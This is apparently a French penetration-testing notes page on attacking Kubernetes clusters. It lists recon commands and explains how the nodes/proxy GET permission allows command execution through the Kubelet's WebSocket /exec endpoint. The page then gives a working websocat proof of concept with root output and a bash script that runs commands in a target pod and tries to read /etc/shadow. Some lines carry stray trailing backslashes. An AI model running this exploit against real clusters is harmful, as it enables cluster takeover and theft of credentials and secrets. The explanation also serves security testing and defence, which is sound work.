> For the complete documentation index, see [llms.txt](https://blog.s1rn3tz.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.s1rn3tz.ovh/pentest-cloud/kubernetes.md).

# Kubernetes

## Kubehound

Kubehound est un outil permettant de créer des graghiques de chemins d'attaque pour les clusters Kubernetes.

ressource: <https://github.com/DataDog/KubeHound>

## Recon

Ouvrir un terminal dans un Pod:

```bash
kubectl exec -it <name> -- sh
```

Lister les permissions d'un Pod:

```bash
kubectl auth can-i --list
```

## RCE via permission nodes/proxy

### Description

la permission Kubernetes nodes/proxy GET, ressemblant d'apparence à une permission "read-only" peut être détournée pour exécuter des commandes à distance dans n’importe quel Pod accessible sur les nœuds du cluster.&#x20;

### Prérequis

* Un service account avec la permission RBAC :
  * `nodes/proxy` avec le verbe `GET`
* Une connectivité réseau vers le **Kubelet (port 10250)** des nœuds
* Accès à un Pod ou un environnement où ce token est utilisable
* Des outils capables de parler WebSocket (ex : `websocat`)

### Détails techniques

#### 1. Mauvaise interprétation RBAC

* Kubernetes mappe les permissions RBAC selon la méthode HTTP.
* `GET` autorise `nodes/proxy GET`, considéré comme lecture.

#### 2. Problème avec WebSockets

* L’endpoint `/exec` du Kubelet utilise WebSockets.
* Une connexion WebSocket commence par un **HTTP GET (upgrade handshake)**.

Résultat :

* Le Kubelet valide uniquement le **GET initial**
* Il ne revalide pas l’opération réelle (`exec`) après upgrade

#### 3. Contournement

* L’attaquant initie une connexion WebSocket vers `/exec`
* L’autorisation est validée sur le GET du handshake
* Puis la connexion est utilisée pour exécuter des commandes dans le conteneur

#### 4. Impact

* Exécution de commandes dans n’importe quel Pod accessible
* Accès à des Pods système
* Possibilité d’extraction de secrets et pivot dans le cluster
* Potentiellement **prise de contrôle complète du cluster**

### Proof Of Concept (PoC)

```bash
websocat --insecure \
  --header "Authorization: Bearer $TOKEN" \
  --protocol v4.channel.k8s.io \
  "wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=id"

uid=0(root) gid=0(root) groups=0(root)
```

```wasm
#!/bin/bash
# Colors
RED=$(tput setaf 1)
BLUE=$(tput setaf 4)
YELLOW=$(tput setaf 3)
GREEN=$(tput setaf 2)
ENDCOLOR=$(tput sgr0)
TICK="[${GREEN}+${ENDCOLOR}] "
TICK_MOVE="[${GREEN}~>${ENDCOLOR}] "
TICK_BACKUP="[${GREEN}<~${ENDCOLOR}] "
TICK_INPUT="[${YELLOW}!${ENDCOLOR}] "
TICK_ERROR="[${RED}!${ENDCOLOR}] "
# Config
NODE_IP="${NODE_IP:?NODE_IP not set}"
TOKEN="${TOKEN:?TOKEN not set}"
NAMESPACE="${NAMESPACE:-default}"
POD="${POD:-nginx}"
CONTAINER="${CONTAINER:-nginx}"
exec_cmd() {
    local cmd="$1"
    local args=""
    for arg in $cmd; do
        args+="&command=$arg"
    done
    args="${args:1}"  # strip leading &
    timeout 3 websocat --insecure -E \
        --header "Authorization: Bearer $TOKEN" \
        --protocol v4.channel.k8s.io \
        "wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&$args" 2>/dev/null \
        | grep -v '{"metadata":{}' \
}
echo ""
echo "${TICK}Target: ${YELLOW}$NODE_IP:10250 ${ENDCOLOR}"
echo "${TICK}Pod: ${YELLOW}$NAMESPACE/$POD${ENDCOLOR}"
echo ""
echo "${TICK_MOVE}Fetching hostname..."
hostname=$(exec_cmd "cat /etc/hostname" | tr -d '\n\r') \
echo "${TICK}Hostname: ${GREEN}$hostname${ENDCOLOR}"
echo ""
echo "${TICK_MOVE}Fetching identity..."
identity=$(exec_cmd "id")
echo "${TICK}Identity: ${GREEN}$identity${ENDCOLOR}"
echo ""
echo "${TICK_MOVE}Attempting to read /etc/shadow..."
shadow=$(exec_cmd "cat /etc/shadow")
if [[ -n "$shadow" ]]; then \
    echo "${TICK}${RED}Successfully read /etc/shadow:${ENDCOLOR}"
    echo "$shadow"
else
    echo "${TICK_ERROR}Could not read /etc/shadow"
fi
```

### Sources

{% embed url="<https://grahamhelton.com/blog/nodes-proxy-rce>" %}

{% embed url="<https://labs.iximiuz.com/tutorials/nodes-proxy-rce-c9e436a9>" %}
